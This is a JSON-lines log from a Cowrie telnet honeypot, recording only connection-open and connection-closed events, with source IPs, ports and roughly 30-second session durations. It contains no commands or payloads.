{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56560,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa920d15e82a","protocol":"telnet","message":"New connection: 168.119.91.149:56560 (159.203.135.109:23) [session: aa920d15e82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:34.295242Z"}
{"eventid":"cowrie.session.closed","duration":30.505897283554077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:34.563601Z","src_ip":"168.119.91.149","session":"1e3080073787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46802,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a334a3b1f42","protocol":"telnet","message":"New connection: 147.135.136.77:46802 (159.203.135.109:23) [session: 8a334a3b1f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:34.602444Z"}
{"eventid":"cowrie.session.closed","duration":30.29329538345337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:35.063428Z","src_ip":"81.30.157.18","session":"3a8b071142ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976613998413086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:35.071680Z","src_ip":"51.79.21.139","session":"f55adbdf4584","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.557958602905273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:35.126543Z","src_ip":"147.135.136.77","session":"ec5b8462ec9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56592,"dst_ip":"159.203.135.109","dst_port":23,"session":"46230a44007b","protocol":"telnet","message":"New connection: 168.119.91.149:56592 (159.203.135.109:23) [session: 46230a44007b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:35.149289Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":55884,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbca64f6b684","protocol":"telnet","message":"New connection: 81.30.157.18:55884 (159.203.135.109:23) [session: fbca64f6b684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:35.155787Z"}
{"eventid":"cowrie.session.closed","duration":31.117027044296265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:35.267909Z","src_ip":"85.208.100.77","session":"18cdcbc8f2d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9537456035614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:35.457448Z","src_ip":"147.135.136.77","session":"aea5cd52f6d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56622,"dst_ip":"159.203.135.109","dst_port":23,"session":"03b5dff38eea","protocol":"telnet","message":"New connection: 168.119.91.149:56622 (159.203.135.109:23) [session: 03b5dff38eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:35.498238Z"}
{"eventid":"cowrie.session.closed","duration":30.551421642303467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:35.503993Z","src_ip":"168.119.91.149","session":"7594ba6e4fc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79111337661743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:35.509081Z","src_ip":"168.119.91.149","session":"6cbd0b410898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":43484,"dst_ip":"159.203.135.109","dst_port":23,"session":"643fe7ab97d0","protocol":"telnet","message":"New connection: 209.126.84.114:43484 (159.203.135.109:23) [session: 643fe7ab97d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:35.545254Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56652,"dst_ip":"159.203.135.109","dst_port":23,"session":"885ce3cd4e6f","protocol":"telnet","message":"New connection: 168.119.91.149:56652 (159.203.135.109:23) [session: 885ce3cd4e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:35.663390Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56666,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d4811ea2c3a","protocol":"telnet","message":"New connection: 168.119.91.149:56666 (159.203.135.109:23) [session: 1d4811ea2c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:35.698974Z"}
{"eventid":"cowrie.session.closed","duration":30.51852250099182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.013210Z","src_ip":"51.79.21.139","session":"45b208e0dbc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.488317012786865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.019317Z","src_ip":"51.79.21.139","session":"674368c368db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890007734298706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.024753Z","src_ip":"51.79.21.139","session":"9611252c3cff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35187339782715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.030348Z","src_ip":"51.79.21.139","session":"af9b8514438d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34292721748352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.048903Z","src_ip":"37.187.24.227","session":"6c8085085faf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.512226343154907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.055129Z","src_ip":"51.79.21.139","session":"6e114f2f0433","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56704,"dst_ip":"159.203.135.109","dst_port":23,"session":"54b0480da2fb","protocol":"telnet","message":"New connection: 168.119.91.149:56704 (159.203.135.109:23) [session: 54b0480da2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.084895Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":55988,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4e1eaccd73b","protocol":"telnet","message":"New connection: 81.30.157.18:55988 (159.203.135.109:23) [session: c4e1eaccd73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.091691Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56720,"dst_ip":"159.203.135.109","dst_port":23,"session":"527028169963","protocol":"telnet","message":"New connection: 168.119.91.149:56720 (159.203.135.109:23) [session: 527028169963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.180769Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56004,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8f92e7deed7","protocol":"telnet","message":"New connection: 81.30.157.18:56004 (159.203.135.109:23) [session: a8f92e7deed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.200674Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56032,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb1e3ca00703","protocol":"telnet","message":"New connection: 81.30.157.18:56032 (159.203.135.109:23) [session: cb1e3ca00703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.397933Z"}
{"eventid":"cowrie.session.closed","duration":30.37909436225891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.512073Z","src_ip":"168.119.91.149","session":"711197f94347","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":34302,"dst_ip":"159.203.135.109","dst_port":23,"session":"4223100ff4b4","protocol":"telnet","message":"New connection: 37.187.24.227:34302 (159.203.135.109:23) [session: 4223100ff4b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.550842Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56084,"dst_ip":"159.203.135.109","dst_port":23,"session":"92edb65291c6","protocol":"telnet","message":"New connection: 81.30.157.18:56084 (159.203.135.109:23) [session: 92edb65291c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.762749Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56102,"dst_ip":"159.203.135.109","dst_port":23,"session":"de9495ac1208","protocol":"telnet","message":"New connection: 81.30.157.18:56102 (159.203.135.109:23) [session: de9495ac1208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:36.957413Z"}
{"eventid":"cowrie.session.closed","duration":30.964780807495117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.043029Z","src_ip":"147.135.136.77","session":"7b318eb52187","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.725639581680298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.052371Z","src_ip":"81.30.157.18","session":"86d7826d9657","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96832537651062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.079729Z","src_ip":"81.30.157.18","session":"7e025b34b50f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56786,"dst_ip":"159.203.135.109","dst_port":23,"session":"af4758b0e4ee","protocol":"telnet","message":"New connection: 168.119.91.149:56786 (159.203.135.109:23) [session: af4758b0e4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.084507Z"}
{"eventid":"cowrie.session.closed","duration":30.35191321372986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.100042Z","src_ip":"147.135.136.77","session":"2998b880877d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.596642017364502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.108366Z","src_ip":"147.135.136.77","session":"9fa87c0ad9d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56794,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad4bcc66dd2b","protocol":"telnet","message":"New connection: 168.119.91.149:56794 (159.203.135.109:23) [session: ad4bcc66dd2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.137327Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56804,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7bd31ea1d2c","protocol":"telnet","message":"New connection: 168.119.91.149:56804 (159.203.135.109:23) [session: d7bd31ea1d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.172123Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56814,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cb57fbdba65","protocol":"telnet","message":"New connection: 168.119.91.149:56814 (159.203.135.109:23) [session: 4cb57fbdba65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.188793Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59844,"dst_ip":"159.203.135.109","dst_port":23,"session":"9139307e1865","protocol":"telnet","message":"New connection: 147.135.136.77:59844 (159.203.135.109:23) [session: 9139307e1865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.296740Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59856,"dst_ip":"159.203.135.109","dst_port":23,"session":"74fe95be4466","protocol":"telnet","message":"New connection: 147.135.136.77:59856 (159.203.135.109:23) [session: 74fe95be4466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.378887Z"}
{"eventid":"cowrie.session.closed","duration":30.96503448486328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.528115Z","src_ip":"168.119.91.149","session":"36ef231b4946","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.493135690689087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.550413Z","src_ip":"168.119.91.149","session":"e22148f9c0d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.261635541915894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.566595Z","src_ip":"147.135.136.77","session":"c3609bced342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59906,"dst_ip":"159.203.135.109","dst_port":23,"session":"db490c9d3d9f","protocol":"telnet","message":"New connection: 147.135.136.77:59906 (159.203.135.109:23) [session: db490c9d3d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:37.833329Z"}
{"eventid":"cowrie.session.closed","duration":30.869659185409546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.034268Z","src_ip":"51.79.21.139","session":"4370fc5e8a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56848,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dca5da4dab5","protocol":"telnet","message":"New connection: 168.119.91.149:56848 (159.203.135.109:23) [session: 0dca5da4dab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.040913Z"}
{"eventid":"cowrie.session.closed","duration":30.52319097518921,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.050663Z","src_ip":"81.30.157.18","session":"4713c56f00f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8157217502594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.058098Z","src_ip":"81.30.157.18","session":"d3350533ba60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59934,"dst_ip":"159.203.135.109","dst_port":23,"session":"a083e4565f35","protocol":"telnet","message":"New connection: 147.135.136.77:59934 (159.203.135.109:23) [session: a083e4565f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.086341Z"}
{"eventid":"cowrie.session.closed","duration":30.70151448249817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.106513Z","src_ip":"147.135.136.77","session":"32fc262d3754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35136,"dst_ip":"159.203.135.109","dst_port":23,"session":"56957d131592","protocol":"telnet","message":"New connection: 51.79.21.139:35136 (159.203.135.109:23) [session: 56957d131592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.125665Z"}
{"eventid":"cowrie.session.closed","duration":30.859808921813965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.131339Z","src_ip":"147.135.136.77","session":"68c9a11ad271","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56862,"dst_ip":"159.203.135.109","dst_port":23,"session":"866edf7db65a","protocol":"telnet","message":"New connection: 168.119.91.149:56862 (159.203.135.109:23) [session: 866edf7db65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.181850Z"}
{"eventid":"cowrie.session.closed","duration":30.787882328033447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.216573Z","src_ip":"81.30.157.18","session":"5c381f770a2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56866,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e250db5c9b0","protocol":"telnet","message":"New connection: 168.119.91.149:56866 (159.203.135.109:23) [session: 7e250db5c9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.329174Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":56868,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc59b602bbca","protocol":"telnet","message":"New connection: 168.119.91.149:56868 (159.203.135.109:23) [session: fc59b602bbca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.333071Z"}
{"eventid":"cowrie.session.closed","duration":31.18536686897278,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.389567Z","src_ip":"147.135.136.77","session":"4223c1eec830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.337660551071167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.540009Z","src_ip":"168.119.91.149","session":"f0c7bd3b23d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50489091873169,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:38.633750Z","src_ip":"147.135.136.77","session":"1aedaf750d06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99497389793396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:39.052320Z","src_ip":"81.30.157.18","session":"2cb79db664e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35166,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e357dd382fc","protocol":"telnet","message":"New connection: 51.79.21.139:35166 (159.203.135.109:23) [session: 9e357dd382fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:39.060338Z"}
{"eventid":"cowrie.session.closed","duration":30.96928119659424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:39.066195Z","src_ip":"147.135.136.77","session":"568bd655fbb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.448578119277954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:39.096023Z","src_ip":"147.135.136.77","session":"e93f680535e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35180,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6919c9d6781","protocol":"telnet","message":"New connection: 51.79.21.139:35180 (159.203.135.109:23) [session: f6919c9d6781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:39.100089Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59940,"dst_ip":"159.203.135.109","dst_port":23,"session":"50355c89d79c","protocol":"telnet","message":"New connection: 147.135.136.77:59940 (159.203.135.109:23) [session: 50355c89d79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:39.132440Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52492,"dst_ip":"159.203.135.109","dst_port":23,"session":"88eb6c15713d","protocol":"telnet","message":"New connection: 168.119.91.149:52492 (159.203.135.109:23) [session: 88eb6c15713d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:39.183121Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52480,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8105a78c558","protocol":"telnet","message":"New connection: 168.119.91.149:52480 (159.203.135.109:23) [session: f8105a78c558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:39.187104Z"}
{"eventid":"cowrie.session.closed","duration":30.998735666275024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:39.195704Z","src_ip":"147.135.136.77","session":"bbea51e1486a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.170764684677124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:39.211235Z","src_ip":"147.135.136.77","session":"d6b658fbe7bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.205843687057495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:39.298459Z","src_ip":"81.30.157.18","session":"eacca7e37252","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52686,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d6d08d72306","protocol":"telnet","message":"New connection: 168.119.91.149:52686 (159.203.135.109:23) [session: 7d6d08d72306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:40.037910Z"}
{"eventid":"cowrie.session.closed","duration":30.570793390274048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:40.062251Z","src_ip":"81.30.157.18","session":"9a82c209e1fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56248,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f3dc0d57f6e","protocol":"telnet","message":"New connection: 81.30.157.18:56248 (159.203.135.109:23) [session: 5f3dc0d57f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:40.075396Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56264,"dst_ip":"159.203.135.109","dst_port":23,"session":"e59c98d5dcc9","protocol":"telnet","message":"New connection: 81.30.157.18:56264 (159.203.135.109:23) [session: e59c98d5dcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:40.084918Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":43078,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5111febe124","protocol":"telnet","message":"New connection: 37.187.24.227:43078 (159.203.135.109:23) [session: a5111febe124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:40.099473Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52706,"dst_ip":"159.203.135.109","dst_port":23,"session":"8be568cc06cf","protocol":"telnet","message":"New connection: 168.119.91.149:52706 (159.203.135.109:23) [session: 8be568cc06cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:40.106359Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52712,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3a313ef6f74","protocol":"telnet","message":"New connection: 168.119.91.149:52712 (159.203.135.109:23) [session: f3a313ef6f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:40.112984Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35218,"dst_ip":"159.203.135.109","dst_port":23,"session":"aac8491d6ec6","protocol":"telnet","message":"New connection: 51.79.21.139:35218 (159.203.135.109:23) [session: aac8491d6ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:40.118657Z"}
{"eventid":"cowrie.session.closed","duration":31.09394598007202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:40.149361Z","src_ip":"147.135.136.77","session":"29ef483c6754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56138586997986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:40.198667Z","src_ip":"147.135.136.77","session":"73b4f826cb56","protocol":"telnet"}
